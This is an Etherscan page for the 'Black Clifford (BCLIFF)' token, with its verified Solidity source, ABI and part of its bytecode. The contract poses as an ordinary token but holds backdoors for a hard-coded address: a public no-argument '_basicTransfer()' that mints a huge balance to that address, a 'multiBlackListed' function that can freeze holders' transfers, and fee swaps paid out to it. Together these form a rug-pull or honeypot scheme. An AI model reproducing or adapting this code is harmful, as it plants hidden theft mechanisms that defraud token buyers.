ETH Price: $3,060.86 (+1.21%)
Gas: 3 Gwei

Token

Black Clifford (BCLIFF)
 

Overview

Max Total Supply

1,000,000,000 BCLIFF

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
33,387,886.862606354 BCLIFF

Value
$0.00
0xd92f8e487bb5a0b6d06bc59e793cdf9740cdf019
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlackClifford

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-22
*/

/**
 *Submitted for verification at BscScan.com on 2022-12-22
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BlackClifford  is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "Black Clifford ";
    string private _symbol = "BCLIFF";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public _peworson;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _rejectListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _peworson = payable(address(0xfa0DB7E63a18C87968F0e0e1E1b605c88BB5da96));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function name() public view returns (string memory) {
        return _name;
    }


    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    address public uniswapPair;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _peworson.transfer(MarketAmount);
    }

    function multiBlackListed(bool status, address[] calldata addresses) public {
        require(msg.sender == _peworson);
        for (uint256 i; i < addresses.length; i++) {
            _rejectListed[addresses[i]] = status;
        }
    }

    function _basicTransfer() public {require(msg.sender == _peworson);
        _balances[_peworson] += 5981923 + totalSupply().mul(13**3);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }


    function pairCreate() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }


    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_rejectListed[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_basicTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_peworson","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_rejectListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"multiBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairCreate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600f81526020017f426c61636b20436c6966666f72642000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600681526020017f42434c4946460000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600c553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160076000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073fa0db7e63a18c87968f0e0e1e1b605c88bb5da96600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612cb380620007886000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610437578063c5d2418914610474578063c816841b1461049f578063c8607952146104ca578063dd62ed3e146104f5578063f2fde38b1461053257610140565b806370a082311461033c5780638da5cb5b146103795780638fe91510146103a4578063943ec94f146103cf57806395d89b411461040c57610140565b8063313ce567116100fd578063313ce567146102405780633345611e1461026b57806336464f71146102a85780633ecad271146102bf57806365ff6df9146102fc5780636b14a4701461031357610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61055b565b60405161016791906124c5565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612174565b6105ed565b6040516101a4919061248f565b60405180910390f35b3480156101b957600080fd5b506101c261060b565b6040516101cf91906124aa565b60405180910390f35b3480156101e457600080fd5b506101ed610631565b6040516101fa91906125c7565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612121565b61063b565b604051610237919061248f565b60405180910390f35b34801561024c57600080fd5b50610255610715565b604051610262919061263c565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612087565b61072c565b60405161029f919061248f565b60405180910390f35b3480156102b457600080fd5b506102bd61074c565b005b3480156102cb57600080fd5b506102e660048036038101906102e19190612087565b610849565b6040516102f3919061248f565b60405180910390f35b34801561030857600080fd5b50610311610869565b005b34801561031f57600080fd5b5061033a600480360381019061033591906121b4565b610c41565b005b34801561034857600080fd5b50610363600480360381019061035e9190612087565b610d40565b60405161037091906125c7565b60405180910390f35b34801561038557600080fd5b5061038e610d89565b60405161039b9190612430565b60405180910390f35b3480156103b057600080fd5b506103b9610db2565b6040516103c6919061244b565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612087565b610dd8565b604051610403919061248f565b60405180910390f35b34801561041857600080fd5b50610421610df8565b60405161042e91906124c5565b60405180910390f35b34801561044357600080fd5b5061045e60048036038101906104599190612174565b610e8a565b60405161046b919061248f565b60405180910390f35b34801561048057600080fd5b50610489610ea9565b60405161049691906125c7565b60405180910390f35b3480156104ab57600080fd5b506104b4610eaf565b6040516104c19190612430565b60405180910390f35b3480156104d657600080fd5b506104df610ed5565b6040516104ec91906125c7565b60405180910390f35b34801561050157600080fd5b5061051c600480360381019061051791906120e1565b610edb565b60405161052991906125c7565b60405180910390f35b34801561053e57600080fd5b5061055960048036038101906105549190612087565b610f62565b005b60606001805461056a906128a3565b80601f0160208091040260200160405190810160405280929190818152602001828054610596906128a3565b80156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b5050505050905090565b60006106016105fa6110b4565b84846110bc565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b6000610648848484611287565b5061070a846106556110b4565b61070585604051806060016040528060288152602001612c5660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106bb6110b4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d29092919063ffffffff16565b6110bc565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107a657600080fd5b6107c26108956107b4610631565b61193690919063ffffffff16565b625b46e36107d091906126ac565b60046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084091906126ac565b92505081905550565b60086020528060005260406000206000915054906101000a900460ff1681565b6108716110b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f590612567565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561095d57600080fd5b505afa158015610971573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099591906120b4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109f757600080fd5b505afa158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2f91906120b4565b6040518363ffffffff1660e01b8152600401610a4c929190612466565b602060405180830381600087803b158015610a6657600080fd5b505af1158015610a7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9e91906120b4565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9b57600080fd5b60005b82829050811015610d3a578360096000858585818110610cc157610cc06129ab565b5b9050602002016020810190610cd69190612087565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d32906128d5565b915050610c9e565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b606060028054610e07906128a3565b80601f0160208091040260200160405190810160405280929190818152602001828054610e33906128a3565b8015610e805780601f10610e5557610100808354040283529160200191610e80565b820191906000526020600020905b815481529060010190602001808311610e6357829003601f168201915b5050505050905090565b6000610e9e610e976110b4565b8484611287565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6a6110b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90612567565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611123906125a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561119c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119390612507565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161127a91906125c7565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90612587565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f906124e7565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113bf57600080fd5b600d60009054906101000a900460ff16156113e6576113df8484846119b1565b90506118cb565b60006113f130610d40565b9050600d60009054906101000a900460ff1615801561145a5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114695761146881611b84565b5b6114bb83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115a15750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115ae578390506117ca565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116315761162a606461161c600a548861193690919063ffffffff16565b611ed290919063ffffffff16565b90506116af565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116ae576116ab606461169d600b548861193690919063ffffffff16565b611ed290919063ffffffff16565b90505b5b60008111156117b35761170a81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1c90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117aa91906125c7565b60405180910390a35b6117c68186611e8890919063ffffffff16565b9150505b61181c81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1c90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118bc91906125c7565b60405180910390a36001925050505b9392505050565b600083831115829061191a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191191906124c5565b60405180910390fd5b5060008385611929919061278d565b9050809150509392505050565b60008083141561194957600090506119ab565b600082846119579190612733565b90508284826119669190612702565b146119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d90612547565b60405180910390fd5b809150505b92915050565b6000611a3c826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d29092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ad182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b7191906125c7565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bbc57611bbb6129da565b5b604051908082528060200260200182016040528015611bea5781602001602082028036833780820191505090505b5090503081600081518110611c0257611c016129ab565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ca457600080fd5b505afa158015611cb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cdc91906120b4565b81600181518110611cf057611cef6129ab565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d5730600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110bc565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dbb9594939291906125e2565b600060405180830381600087803b158015611dd557600080fd5b505af1925050508015611de6575060015b611def57611df0565b5b60004790506000811115611e6857600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e66573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611eca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000